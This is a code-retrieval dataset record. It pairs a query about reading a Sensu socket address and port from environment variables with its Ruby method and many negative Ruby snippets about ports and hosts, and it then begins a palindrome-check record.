[ "0.6201655", "0.6187335", "0.58082014", "0.58043253", "0.57672524", "0.57657593", "0.5738058", "0.5669808", "0.566178", "0.5636381", "0.55153537", "0.547652", "0.54764295", "0.5443656", "0.543746", "0.54317653", "0.53379047", "0.53290755", "0.53258747", "0.53177416", "0.52884483", "0.52386236", "0.5218688", "0.52176", "0.5210981", "0.5205586", "0.5201707", "0.5187125", "0.5152638", "0.5146189", "0.51447964", "0.51376474", "0.5131878", "0.5131102", "0.513011", "0.5121839", "0.5121281", "0.5115683", "0.5106566", "0.50950146", "0.5092421", "0.5086978", "0.508204", "0.5071286", "0.5070067", "0.5061928", "0.50515807", "0.50443196", "0.5039918", "0.50357246", "0.50293463", "0.502917", "0.5027549", "0.5022908", "0.5020638", "0.5016051", "0.5014383", "0.5011905", "0.50043267", "0.49990323", "0.49884072", "0.49868006", "0.49708232", "0.4966263", "0.49617302", "0.4961211", "0.49579388", "0.49520025", "0.49505436", "0.49502385", "0.49499974", "0.49491084", "0.49456006", "0.49420208", "0.49372283", "0.49277553", "0.49205694", "0.49163833", "0.49132967", "0.49044377", "0.49039528", "0.49016237", "0.49013287", "0.48859623", "0.48804015", "0.48748294", "0.48708123", "0.48694092", "0.48656535", "0.48565984", "0.48564973", "0.485404", "0.48473126", "0.4847019", "0.48468277", "0.4842505", "0.48358718", "0.48289958", "0.4826755", "0.48182827" ]
0.6672171
0
Read Sensu address and port from environment.
def read_env_address_and_port @sensu_address = ENV['SENSU_SOCKET_ADDRESS'] \ if ENV.key?('SENSU_SOCKET_ADDRESS') @sensu_port = ENV['SENSU_SOCKET_PORT'].to_i \ if ENV.key?('SENSU_SOCKET_PORT') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def port; config[:port]; end", "def client_port\n host_settings['client_port']\nend", "def myservices_environment_details_host\n ENV['ENV_DETAILS'].nil? ? 'esu2v871:9080' : ENV['ENV_DETAILS']\n end", "def server_port ; @env['SERVER_PORT' ].to_i ; end", "def raw_host_with_port; end", "def port\n get_value :port\n end", "def nameserver_config\n return unless ENV.key?('MM_DNSRC') && ENV['MM_DNSRC']\n\n address, port = ENV['MM_DNSRC'].split(/:/)\n\n {\n nameserver_port: [[address, port.to_i]]\n }\n rescue StandardError\n {}\n end", "def port\n conf['api']['port'].to_s\n end", "def port\n conf['dashboard']['port'].to_s\n end", "def read_config\n begin\n config = YAML.load_file('config/config.yml')\n puts config['address']\n puts config['port']\n rescue YAML::LoadError => e\n # If config file is not found or valid, return with errors\n logger.error \"read config error: #{e}\"\n end\n\n [config['address'], config['port']]\n end", "def read_host_info\n json { execute_prlctl('server', 'info', '--json') }\n end", "def port\n conf['port'] || '80'\n end", "def host_with_port; end", "def socket_port; end", "def beanstalk_host_and_port(uri_string)\n uri = URI.parse(uri_string)\n raise(BadURL, uri_string) if uri.scheme != 'beanstalk'.freeze\n \"#{uri.host}:#{uri.port || 11300}\"\n end", "def addr; @configuration['addr']; end", "def address\n @address ||= \"#{@options[:host]}:#{@options[:port]}\"\n end", "def socket_port(uri)\n secure_uri?(uri) ? 443 : 80\n end", "def host; config[:host]; end", "def port\n data[:port]\n end", "def port\n configuration.port\n end", "def port\n configuration.port\n end", "def actual_port; end", "def actual_port; end", "def local_port\n get('beef.http.port') || '3000'\n end", "def getPort()\n return @uri.port\n end", "def server_port; end", "def port; end", "def port; end", "def port; end", "def port; end", "def port; end", "def port; end", "def port; end", "def port; end", "def port\n @port\n end", "def port\n @port\n end", "def port\n @port\n end", "def available_endpoint\n \"0.0.0.0:#{available_port}\"\n end", "def port\n self.port\n end", "def port\n @hash[\"Listen\"].to_i\n end", "def port_from_host_entry\n port_str = NewRelic::Agent.config[:'infinite_tracing.trace_observer.host'].scan(%r{:(\\d+)$}).flatten\n if port = port_str[0]&.to_i\n NewRelic::Agent.logger.warn(\":'infinite_tracing.trace_observer.port' is ignored if present because :'infinite_tracing.trace_observer.host' specifies the port\")\n return port\n end\n end", "def probe_port\n options[:probe_port] ||\n env['GOOD_JOB_PROBE_PORT']\n end", "def example_env_vars\n Parser.call(read)\n rescue Errno::ENOENT, FormatError\n {}\n end", "def serverDetails( port )\n @port = port\n end", "def serverDetails( port )\n @port = port\n end", "def address\n if !self.config\n return \"\"\n end\n\n if self.config['serverport']\n \"#{self.config['serveraddr']}:#{self.config['serverport']}\"\n else\n self.config['serveraddr']\n end\n end", "def get_bind_ip\n File.exist?('/.dockerenv') ? '0.0.0.0' : '127.0.0.1'\nend", "def port\n ssl ? 443 : 80\n end", "def port\n @options[:port]\n end", "def config_for(environment=:development)\n if self.config.present?\n env_config = self.config[environment.to_s]\n else\n env_config = {\n 'host' => ENV['RIAK_HOST'],\n 'http_port' => ENV['RIAK_HTTP_PORT'],\n 'pb_port' => ENV['RIAK_PB_PORT']\n }\n end\n env_config\n end", "def standard_port; end", "def port\n @uri.port\n end", "def host_port(options)\n require \"jenkins\"\n require \"jenkins/config\"\n if base_uri = ::Jenkins::Config.config['base_uri']\n uri = URI.parse(::Jenkins::Config.config['base_uri'])\n host = uri.host\n port = uri.port\n end\n host = options[\"host\"] if options[\"host\"]\n port = options[\"port\"] || port || '80'\n [host, port]\n end", "def port\n @attributes[:port]\n end", "def configure_socket(options, env)\n bind = request_options(env)[:bind]\n return unless bind\n\n options[:bind] = {\n host: bind[:host],\n port: bind[:port]\n }\n end", "def get_information(env)\n connection_info = read_from_yaml_file(env)\n\n # is the user owns a hosting account, then use his credentials\n # to create a new site.\n if connection_info.nil? && env == 'hosting'\n connection_info = read_from_hosting\n end\n\n if connection_info.nil?\n raise \"No #{env.to_s} environment found in the config/deploy.yml file\"\n end\n\n connection_info = connection_info.with_indifferent_access\n\n if connection_info[:ssl] && !connection_info[:host].start_with?('https')\n connection_info[:host] = 'https://' + connection_info[:host]\n end\n\n connection_info\n end", "def config\n $VHOST.config\n end", "def port\n @port ||= use_ssl ? 636 : 389\n end", "def flume_zookeeper_port\n node[:flume][:master][:zookeeper_port]\nend", "def read_config\n config = open(ENV['HOME']+'/.slacky')\n config.readline.chomp\nend", "def env_config; end", "def env_config; end", "def env_config; end", "def env_config; end", "def port\n end", "def rescue_sock_error\n print \"--- Enter Enotify host [localhost:5000]: \".yellow\n host_and_port = STDIN.gets.strip\n if blank_string?(host_and_port)\n @enotify_host, @enotify_port = ['localhost', @default_options[:enotify_port]]\n else\n @enotify_host, @enotify_port = host_and_port.split(/\\s:\\s/)\n @enotify_port = @enotify_port.to_i\n end\n enotify_connect\n end", "def console_url\n URI::HTTPS.build(:host => hostname, :port => port)\n end", "def port\n ENV.fetch('PORT', 8983)\n end", "def daemon_port_prefix(env)\n case env.to_s.downcase\n when \"development\" then 74\n when \"test\" then 75\n end\nend", "def agent_listen_address\n super\n end", "def port\n @port || (secure ? 443 : 80)\n end", "def get_def_cqlsh_port()\n cassandra_home = node.default[:cassandra_home]\n cassandra_current = \"#{cassandra_home}/current\"\n yaml_file = \"#{cassandra_current}/conf/cassandra.yaml\"\n\n if node.workorder.has_key?(\"rfcCi\")\n ci = node.workorder.rfcCi.ciAttributes\n else\n ci = node.workorder.ci.ciAttributes\n end\n\n ver = ci.version.to_f\n yaml = YAML::load_file(yaml_file)\n\n if ver >= 2.1\n port = yaml['native_transport_port']\n else\n port = yaml['rpc_port']\n end\n return port\n end", "def address\n \"#{$SYNC_CONFIG[:protocol]}://#{$SYNC_CONFIG[:hostname]}:#{$SYNC_CONFIG[:port]}\"\n end", "def optional_port; end", "def port\n @connection.port\n end", "def port\n connect_address.ip_port\n rescue SocketError\n # Not bound to any local port\n rescue IOError\n # Socket has been closed\n end", "def port\n request.port\n end", "def default_ssl_port; end", "def port=(_arg0); end", "def server_status(cf, https = false)\n {\n pid: get_pid(cf, https),\n address: cf.listen_addr,\n port: https ? cf.https['port'] : cf.port\n }\n end", "def normalize_env(env, client)\n if host = env[HTTP_HOST]\n # host can be a hostname, ipv4 or bracketed ipv6. Followed by an optional port.\n if colon = host.rindex(\"]:\") # IPV6 with port\n env[SERVER_NAME] = host[0, colon+1]\n env[SERVER_PORT] = host[colon+2, host.bytesize]\n elsif !host.start_with?(\"[\") && colon = host.index(\":\") # not hostname or IPV4 with port\n env[SERVER_NAME] = host[0, colon]\n env[SERVER_PORT] = host[colon+1, host.bytesize]\n else\n env[SERVER_NAME] = host\n env[SERVER_PORT] = default_server_port(env)\n end\n else\n env[SERVER_NAME] = LOCALHOST\n env[SERVER_PORT] = default_server_port(env)\n end\n\n unless env[REQUEST_PATH]\n # it might be a dumbass full host request header\n uri = begin\n URI.parse(env[REQUEST_URI])\n rescue URI::InvalidURIError\n raise Puma::HttpParserError\n end\n env[REQUEST_PATH] = uri.path\n\n # A nil env value will cause a LintError (and fatal errors elsewhere),\n # so only set the env value if there actually is a value.\n env[QUERY_STRING] = uri.query if uri.query\n end\n\n env[PATH_INFO] = env[REQUEST_PATH].to_s # #to_s in case it's nil\n\n # From https://www.ietf.org/rfc/rfc3875 :\n # \"Script authors should be aware that the REMOTE_ADDR and\n # REMOTE_HOST meta-variables (see sections 4.1.8 and 4.1.9)\n # may not identify the ultimate source of the request.\n # They identify the client for the immediate request to the\n # server; that client may be a proxy, gateway, or other\n # intermediary acting on behalf of the actual source client.\"\n #\n\n unless env.key?(REMOTE_ADDR)\n begin\n addr = client.peerip\n rescue Errno::ENOTCONN\n # Client disconnects can result in an inability to get the\n # peeraddr from the socket; default to unspec.\n if client.peer_family == Socket::AF_INET6\n addr = UNSPECIFIED_IPV6\n else\n addr = UNSPECIFIED_IPV4\n end\n end\n\n # Set unix socket addrs to localhost\n if addr.empty?\n if client.peer_family == Socket::AF_INET6\n addr = LOCALHOST_IPV6\n else\n addr = LOCALHOST_IPV4\n end\n end\n\n env[REMOTE_ADDR] = addr\n end\n\n # The legacy HTTP_VERSION header can be sent as a client header.\n # Rack v4 may remove using HTTP_VERSION. If so, remove this line.\n env[HTTP_VERSION] = env[SERVER_PROTOCOL]\n end", "def base_port\n (options[:port] || env[\"PORT\"] || ENV[\"PORT\"] || 5000).to_i\n end", "def bind\n conf['api']['bind']\n end", "def connect_settings\n sanitize_environment_report\n settings = {\n :pid => $$,\n :port => ::TingYun::Agent.config[:port],\n :host => local_host,\n :appName => ::TingYun::Agent.config.app_names,\n :language => 'Ruby',\n :agentVersion => ::TingYun::VERSION::STRING,\n :env => @environment_report,\n :config => ::TingYun::Agent.config.to_collector_hash\n }\n settings\n end", "def port_string; end", "def get_config(url_prefix)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Get.new(\"#{url_prefix}/config.xml\")\n puts \"[INFO] GET #{url_prefix}/config.xml\" if @debug\n request.basic_auth @username, @password\n response = http.request(request)\n response.body\n end", "def config(host, port)\n uri = URI::HTTP.build(host: host, port: port, path: '/config')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.get(uri.path, \"Accept\" => \"application/json\")\n end", "def test_port_convert_to_int\n set_env 'PORT', \"3000\"\n assert_equal(3000, Config.port)\n end", "def get_host(endpoint)\n puts \"recieved : \"+ endpoint.to_s\n puts \"port : \"+ endpoint.port.to_s\n if endpoint.port\n if ((endpoint.port == 443) || (endpoint.port == 80))\n return endpoint.host\n else\n return endpoint.host + \":\" + endpoint.port.to_s\n end\n else\n #return endpoint.host\n return endpoint.host + \":\" + endpoint.port.to_s\n end\n end", "def getAddress()\n \"#{@mcAddress}:#{@port}\"\n end", "def cf_connecting_ip\n @env[\"HTTP_CF_CONNECTING_IP\"]\n end", "def amqp_url\n if not ENV['VCAP_SERVICES']\n return {\n :host => \"172.16.32.11\",\n :port => 5672,\n :username => \"guest\",\n :password => \"guest\",\n :vhost => \"/\",\n }\n end\n\n services = JSON.parse(ENV['VCAP_SERVICES'], :symbolize_names => true)\n url = services.values.map do |srvs|\n srvs.map do |srv|\n if srv[:label] =~ /^rabbitmq-/\n srv[:credentials]\n else\n []\n end\n end\n end.flatten!.first\nend", "def http_port\n use_ssl? ? 443 : 80\n end", "def getPort()\n return @port\n\tend", "def server_port\n AgileProxy.config.server_port\n end", "def port=(_); end", "def srvport\n datastore['SRVPORT']\n end", "def url\n \"#{addr}:#{port}\"\n end", "def get_ip_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /inet addr:([\\d\\.]+)/ and $1 != '127.0.0.1')\n end\n end\n return nil\nend" ]
[ "0.64324284", "0.61466354", "0.6043715", "0.58404446", "0.57912207", "0.5730329", "0.5716782", "0.57036644", "0.5683595", "0.5673407", "0.56447554", "0.5629297", "0.56161684", "0.55245", "0.5521598", "0.5466633", "0.5466052", "0.5459002", "0.5448339", "0.5447246", "0.54236025", "0.54236025", "0.54196084", "0.54196084", "0.54021055", "0.53980684", "0.5383308", "0.53817093", "0.53817093", "0.53817093", "0.53817093", "0.53817093", "0.53817093", "0.53817093", "0.53817093", "0.5376079", "0.5376079", "0.5376079", "0.53753316", "0.5350951", "0.53496146", "0.53426605", "0.5339144", "0.53219336", "0.53167814", "0.53167814", "0.5313223", "0.5304994", "0.5289423", "0.5272092", "0.5255852", "0.52456504", "0.5236586", "0.52185684", "0.5191423", "0.5190938", "0.5183421", "0.51696813", "0.51681435", "0.5161585", "0.5158943", "0.5155095", "0.5155095", "0.5155095", "0.5155095", "0.5150157", "0.51443624", "0.513183", "0.51294553", "0.51273316", "0.51194227", "0.5119373", "0.51156324", "0.51020014", "0.5098194", "0.5084686", "0.5081045", "0.5069357", "0.50685817", "0.5064442", "0.50618386", "0.50521815", "0.50514764", "0.50483143", "0.5047818", "0.5047306", "0.50424814", "0.5031992", "0.5019844", "0.5001969", "0.49999338", "0.49888358", "0.49845088", "0.49807474", "0.49776065", "0.49767086", "0.4969135", "0.49669734", "0.49533638", "0.49517906" ]
0.8677897
0
For Using the username instead of ID in the Link
def to_param user_name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def name( user )\n link_to user[\"first_name\"][0..8], link( user[\"uid\"] ), :target => \"_blank\"\n end", "def link_to_user(user)\r\n link_to user.name, :controller => 'account', :action => 'show', :id => user\r\n end", "def link_to_user(user)\n user ? link_to(user, user) : 'anonymous'\n end", "def name_link_helper(id, rec_id, action)\n if action == 'show'\n action = user_message_path(current_user.id, rec_id)\n else\n action = edit_user_message_path(current_user.id, rec_id)\n end\n text = get_name(id)\n name = (text.blank?)? '............' : text\n new_name = truncate(name, :length => 20)\n html_options = {\n :title => name,\n }\n link_to(new_name, action, html_options)\n end", "def render_link_to_user(user, options={})\n if user.disabled?\n user.username\n else\n link_to user.username, user, options\n end\n end", "def link_to_user(user, options={})\r\n (user) ? link_to(user.name, :controller => 'account', :action => 'show', :id => user) : 'Anonymous'\r\n end", "def full_user_link(user)\n link_to edit_user_path(user) do\n html = content_tag :strong, \"#{user.prename} #{user.name}\"\n html << \" (#{user.username})\"\n end\n end", "def current_user_link\n view_context.link_to current_user.name, current_user_url\n end", "def to_param\n if username\n \"#{id}-#{username}\"\n else\n super\n end\n end", "def link_to_identifier; end", "def link_to_identifier; end", "def display_user_link\n name.truncate(17)\n end", "def community_user_name_link\n # unit_test_no_generate: community_user_name_link, a.id(\"/LinkUser/\")\n $tracer.trace(__method__)\n return ToolTag.new(a.id(\"/LinkUser/\"), __method__, self)\n end", "def header_user_link\n @current_user ||= current_user\n get_edit_user_link @current_user, dashboard_path\n end", "def avatar_thumb_linked_with_username(user_id, options = {})\n user = User.find(user_id)\n html = \"\"\n avatar_etc = (image_tag (user.avatar.url), options) + (content_tag :br, user.username)\n html += link_to (avatar_etc), user_path(user_id)\n return html.html_safe\n end", "def user_profile_name_link\n $tracer.trace(__method__)\n return ToolTag.new(span.className(\"/user-name/\").a.className(\"/view-user-profile/\"), __method__)\n end", "def link_to_user(user, opts={})\n avatar = AvatarAttachment.find_by_owner_id(user.id)\n img = image_tag(avatar.small_thumb.url, class: \"profile-pic pull-left\", style: \"height:20px;padding-right:5px\") if avatar\n link_to img.to_s+user.full_name, user_path(user.slug, network: user.network)\n end", "def ext_kroogi_user_link(user, options ={})\r\n return if user.nil?\r\n unless options[:title]\r\n options[:title] = \"You\".t if options.delete(:detect_you) && user == current_actor\r\n options[:title] = user.display_name if options.delete(:use_display_name)\r\n titles = [(user.login || '').strip, user.display_name.strip] if options.delete(:use_both)\r\n titles.reverse! if options.delete(:reversed)\r\n options[:title] = \"%s (%s)\" % titles if titles && titles[0] != titles[1]\r\n options[:title] ||= user.login\r\n options[:title] += options[:suffix] if options[:suffix]\r\n end\r\n options.delete(:suffix)\r\n\r\n if options[:limit]\r\n html_title = options[:title]\r\n options[:title] = truncate(options[:title], :length => options[:limit]) if options[:title].chars.size > options[:limit]\r\n end\r\n\r\n if options.delete(:icon)\r\n options[:title] = image_tag(user.project? ? 'project.png' : 'kruser.png', :style => 'margin-right: 3px;') + options[:title]\r\n options[:title] = '<span style=\"white-space: nowrap;\">' + options[:title] + '</span>'\r\n end\r\n\r\n if options.delete(:no_link)\r\n return options[:title]\r\n end\r\n\r\n caption = options.delete(:title)\r\n if html_title\r\n options[:title] = html_title\r\n end\r\n if options[:activity_id] && !options.delete(:public_context)\r\n link_to( caption,\r\n {:controller => 'activity', :action => 'read_and_frwd', :id => options[:activity_id], :type => options[:frwrd_type], :locale => options[:locale]},\r\n options.delete_if{|key, value| key == :activity_id || key == :frwrd_type})\r\n else\r\n link_to(caption, user_path_options(user, {:locale => options.delete(:locale)}), options)\r\n end\r\n end", "def link_user_edit\n return nil unless @user.is_a? User\n msg = 'impostazioni'\n link = { :controller => 'user', :action => 'edit' }\n link[:host] = @host_forum if @host_forum\n link[:only_path] = false if @host_forum\n s = link_to msg, link\n content_tag('span', s, :class => 'profile')\n end", "def id_string\n return \"user_\"+self.username\n end", "def get_edit_user_link(user, link)\n link_to link do\n html = []\n if not user.google_avatar_url.blank?\n html << image_tag(\"#{user.google_avatar_url}?sz=30\", class: 'user-avatar')\n elsif user.email.present?\n html << image_tag(\"#{(request.ssl? ? 'https://secure' : 'http://www')}.gravatar.com/avatar/#{Digest::MD5.hexdigest user.email}?s=30\", alt: '', class: 'user-avatar')\n end\n\n if user.full_name.blank?\n html << content_tag(:span, user.email, class: 'user-name')\n else\n html << content_tag(:span, user.full_name, class: 'user-name')\n end\n html.join.html_safe\n end\n end", "def rezm_from_user_link(message)\n link_to message.sender_name, user_path(message.sender_name)\n end", "def from_user_link(message)\n message.sender ? link_to(message.sender_name, user_path(message.sender)) : ''\n end", "def set_link\n @link = current_user.links.find(params[:id])\n end", "def twitter_id(user_id)\n %Q|<a href=\"//twitter.com/#{user_id}\" link=\"_blank\">#{user_id}さん</a>|\nend", "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "def link_to_user_galleries(gallery)\n gallery.user ? \\\n link_to( gallery.user.nickname || gallery.user.email,user_galleries_path(gallery.user), \n :title => t(:show_all_users_galleries)) \\\n : t(:anonymous)\n end", "def user_id\n return link.split(\"/\")[2]\n end", "def user_id\n username\n end", "def display_resource(user)\n user.username\n end", "def link_text\n name\n end", "def link_to_user(user, options={})\n raise I18n.t(\"Invalid user\", :default => \"Invalid user\") unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "def to_user_link(message)\n message.receiver ? link_to(message.receiver_name, user_path(message.receiver)) : ''\n end", "def display_name \n username\n end", "def become_user_link_element(user)\n link_element(id: \"become-#{user.uid}\")\n end", "def rezm_to_user_link(message)\n link_to message.receiver_name, user_path(message.receiver_name)\n end", "def reporthelp_owner( report )\n return link_to( report.user.name, user_path( report.user ) )\n end", "def link_to_user(user, options={})\n if (User.current.admin || User.current.allowed_to?(:view_profiles, @project, :global => true)) && user.is_a?(User)\n name = h(user.name(options[:format]))\n if user.active? || (User.current.admin? && user.logged?)\n link_to name, user_path(user), :class => user.css_classes\n else\n name\n end\n else\n h(user.to_s)\n end\n end", "def user_id\n self.title_and_name\n end", "def display_name\n username\n end", "def link_to_mentioned_user(mention)\n user = User.by_slug(mention).first || User.find_by(id: mention)\n return unless user\n\n result[:mentioned_users] |= [user.id]\n\n url = \"/users/#{user.slug || user.id}\"\n <<-HTML\n <a href=\"#{url}\" class=\"user-mention\">\n @#{user.name}\n </a>\n HTML\n end", "def link_to_user(user, options={})\n if (User.current.admin || User.current.allowed_to?(:view_profiles, @project, :global => true)) && user.is_a?(User)\n name = h(user.name(options[:format]))\n if user.active?\n link_to name, :controller => 'users', :action => 'show', :id => user\n else\n name\n end\n else\n h(user.to_s)\n end\n end", "def link_name\n title\n end", "def format_username(user_id)\n \"<@#{user_id}>\"\n end", "def user_name\n if /(.*)-\\d{8}-\\d{6}$/ =~ perma_link\n return $1\n else\n return \"unknown\"\n end\n end", "def username\n username = self.name + \" \" + self.email\n\t end", "def get_linked_author_name_or_blank\n ret = get_author_name_or_blank\n ret = \"<a href=\\\"#{self.link}\\\" target=\\\"quote_extern\\\">#{ret}</a>\" unless ret.blank? or self.link.blank?\n ret\n end", "def to_param\n # there was a problem when someone set the username to http://shop.soletron.com/..., so\n # if there is an error with the username, the username will not be rendered in the url\n if username and self.errors['username'].blank?\n \"#{username}\"\n else\n super\n end\n end", "def user_link_with_image(text, user = nil, html_options = nil)\n if user.nil?\n user = text\n text = user.name\n elsif user.is_a?(Hash)\n html_options = user\n user = text\n text = user.name\n end\n '<span class=\"imgHoverMarker\">' + image_tag(user.small) + user_link(text, user, html_options) + '</span>'\n end", "def to_param\n self.username\n end", "def to_label\n \"#{username}\"\n end", "def to_param\n\t\tusername\n\tend", "def to_param\n\t\tusername\n\tend", "def to_param\n \tusername\n end", "def to_param\n username\n end", "def link_usuario(titulo, enlace)\n link_to titulo, enlace if not session[:usuario]\n end", "def to_label\n username\n end", "def show_username_label_method\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def to_param\n username\n end", "def show\n @user_author = User.find_by_id(@materiallink.user_id)\n @user_author_name = @user_author.username\n end", "def parse_user(name, email, trailer)\n link_to_user User.find_by_any_email(email),\n name: name,\n email: email,\n trailer: trailer\n end", "def url(id)\n entry(id).url(@user)\n end", "def username\n name\n end", "def get_embed_link_title(work)\n title_link = link_to(content_tag(:strong, work.title.html_safe), work_url(work)) + \" (#{work.word_count} #{ts('words')})\"\n if work.anonymous?\n profile_link = ts(\"Anonymous\")\n else\n profile_link = work.pseuds.map {|pseud| link_to(content_tag(:strong, pseud.name), user_url(pseud.user))}.join(', ').html_safe\n end \n title_link + ts(\" by \") + profile_link\n end", "def authorized_only_link_to(obj, name, options = {}, html_options = nil)\n if obj.collaborable? || obj.user == current_user\n \" | \" + link_to(name, options, html_options)\n else\n \"\" #link_to_function name, '권한이 없습니다.'\n end\n end", "def brought_access_link uid, get_shorter_obj=false\n user = User.find(uid)\n shorter_link = self.shorter_links.where(user_id:uid).take\n if !shorter_link.nil? && get_shorter_obj then return shorter_link elsif !shorter_link.nil? && !get_shorter_obj then return shorter_link.link end\n\n host = ApplicationController.host\n path = Rails.application.routes.url_helpers.publisher_brought_access_path(campaign_id:self.campaign_id, publisher_username:user.username, ad_username:self.username)\n shorter_link.nil? ? \"http://#{host}#{path}\" : shorter_link.link\n end", "def to_param; username end", "def to_param; username end", "def username\n end", "def author_link(news_article,full_date=false)\n html_block = \"<div class='author_link right'>Posted by \"\n html_block << link_to(h(news_article.user.display_name), user_path(news_article.user_id), :style => \"color:rgb(100,149,237);\")\n html_block << \" on <span style='color:rgb(60,60,60);'>#{news_article.created_at.strftime('%b %d, %Y')}</span>\" if full_date\n html_block << \" at #{news_article.created_at.strftime('%I:%M %p')}\"\n html_block << \"</div>\"\n \n return html_block\n end", "def username\n self.user.username \n end", "def nice_mailto_link(user, link_text_method=:short_name)\n return '-' unless user\n mail_to(user.login_name, user.send(link_text_method), :title => user.to_s)\n end", "def name_link_for_comment(comment)\n if comment.author.blank?\n comment.website.blank? ? h(comment.name) : content_tag(:a, h(comment.name), :href => comment.website, :target => \"_blank\")\n else\n user_profile_link_for(comment.author)\n end\n end", "def name\n\t self.username\n end", "def username\n\n object.username\n\n end", "def get_my_link()\n strip = self;\n return \"#{strip.id}\";\n# return \"comic/#{strip.id}\"; # this utilizes our route magic \n # to forward us to home/index/:id \n end", "def to_slug\n\t\t# login ?\t\"/u/#{login}\" : \"/users/#{id}\"\n\t\t\"/users/#{id}\"\n\tend", "def link_account(m, nick)\n\t\t\t\tnick = CGI::escape(nick)\n\t\t\t\t@backend.set(m.user, nick)\n\t\t\t\tm.reply(\"#{m.user} is now linked with account #{nick}!\")\n\t\t\tend", "def username; end", "def username; end", "def username; end", "def username; end", "def link\n Html::Link.new(:href => url) << display_name\n end" ]
[ "0.7391369", "0.71526986", "0.6984948", "0.68989664", "0.68768334", "0.68523574", "0.6834267", "0.68306136", "0.68264514", "0.6779108", "0.6779108", "0.6765808", "0.67620105", "0.6705892", "0.6701352", "0.66920763", "0.6646694", "0.66326654", "0.66293615", "0.66263187", "0.6619839", "0.6605613", "0.6593264", "0.65852404", "0.65686774", "0.6547739", "0.6546622", "0.6546622", "0.6546622", "0.6546354", "0.6513715", "0.64895535", "0.6462002", "0.6434288", "0.6407555", "0.6384473", "0.63788927", "0.6361399", "0.63442355", "0.6338951", "0.63337713", "0.63320774", "0.631261", "0.6297532", "0.62971675", "0.6258754", "0.6232004", "0.6231977", "0.6231024", "0.6201747", "0.6200903", "0.6199978", "0.61975557", "0.6194102", "0.6190552", "0.6190552", "0.61841524", "0.61802894", "0.61794007", "0.61768293", "0.6171711", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.6158602", "0.61360675", "0.61354476", "0.61265063", "0.6126099", "0.6126071", "0.6115726", "0.6108279", "0.6107868", "0.6107868", "0.6105372", "0.610369", "0.60958284", "0.608664", "0.60790235", "0.60616064", "0.6055904", "0.6055071", "0.6052378", "0.60511726", "0.6047692", "0.6047692", "0.6047692", "0.6047692", "0.603889" ]
0.0
-1
false otherwise. A palindrome reads the same forward and backward. For this exercise, case matters as does punctuation and spaces.
def palindrome?(string_or_array) string_or_array == string_or_array.reverse end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def palindrome?\n formatted_word = @word.gsub(/[^a-z]/, \"\")\n formatted_word == formatted_word.reverse\n end", "def is_palindrome(word)\nforwards = \"\"\nbackwards = \"\"\n \n i = 0\n while i < word.length\n char = word[i]\n forwards = forwards + char\n backwards = char + backwards\n\n i += 1\n end\n \n if forwards == backwards\n return \"true\"\n else\n return \"false\"\n end\nend", "def palindrome?\n string = self.downcase.gsub(/[\\W\\d]+/,\"\")\n string.reverse.eql?(string)\n end", "def real_palindrome?(string)\n string.downcase!\n if string == string.reverse\n p true\n else\n p false\n end\nend", "def palindrome_word? word\n output = word.downcase\n output.reverse == output\nend", "def palindrome2? word\n word.downcase.reverse == word.downcase \nend", "def palindrome_word?(word)\n normalized = word.downcase\n normalized.reverse == normalized\nend", "def palindrome?( string )\n word = string.downcase.gsub(/[^a-z]/, '')\n if word == word.reverse\n return true\n else\n return false\n end\nend", "def palindrome?(str)\n pure_str = str.gsub(/\\W/,\"\")\n pure_str.downcase!\n return pure_str == pure_str.reverse ? true : false\nend", "def palindrome?(str)\n # YOUR CODE HERE\n words = str.downcase.gsub(/\\W/, \"\")\n return words == words.reverse\nend", "def palindrome_word?(word)\n word.downcase!\n puts word.downcase!\n reversedword=word.reverse\n if reversedword==word\n return true\n else\n return false\n end\nend", "def real_palindrome?(string)\n string = string.gsub(/\\W/, '').downcase\n string == string.reverse\nend", "def palindrome?(str)\n # YOUR CODE HERE\n str.downcase.gsub(/\\W/, '').reverse == str.downcase.gsub(/\\W/, '')\nend", "def palindrome(word)\n if word.downcase == word.downcase.reverse\n true\n else\n false\n end\nend", "def palindrome?(word)\n word.reverse == word\nend", "def palindrome?(string)\n s = 